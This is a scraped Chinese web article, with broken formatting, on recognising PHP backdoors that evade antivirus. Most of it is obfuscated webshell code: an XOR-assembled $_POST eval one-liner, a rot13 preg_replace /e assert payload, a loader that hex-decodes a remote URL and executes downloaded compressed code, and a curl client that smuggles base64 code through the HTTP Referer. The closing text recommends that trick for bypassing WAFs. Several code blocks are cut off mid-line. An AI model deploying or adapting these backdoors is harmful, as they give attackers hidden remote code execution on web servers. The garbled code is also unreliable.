教你识别简单的免查杀PHP后门

(编辑:jimmy 日期: 2024/11/18 浏览:2)

一个最常见的一句话后门可能写作这样

<"htmlcode">
<"codetitle">复制代码 代码如下:
<"#"^"|"); // $__ = _   $__.=("."^"~"); // _P   $__.=("/"^"`"); // _PO   $__.=("|"^"/"); // _POS   $__.=("{"^"/"); // _POST   ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  "codetitle">复制代码 代码如下:
<"#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);"htmlcode">
<"htmlcode">
<"/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); 
"htmlcode">
<"Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s"H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
"codetitle">复制代码 代码如下:
sprintf('%s"H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg"codetitle">复制代码 代码如下:
<"H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
"htmlcode">

   <"htmlcode">
<"htmlcode">
 <" " , "+" , implode( array_slice ( $a , 6))))); 
} 

"htmlcode">
 <"a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; 
//后门url 
$url = 'http://localhost/test1/1.php ' ; 
$ch = curl_init(); 
$options = array ( 
CURLOPT_URL => $url , 
CURLOPT_HEADER => FALSE, 
CURLOPT_RETURNTRANSFER => TRUE, 
CURLOPT_REFERER => $referer
); 
curl_setopt_array( $ch , $options ); 
echocurl_exec( $ch ); 

?>


通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。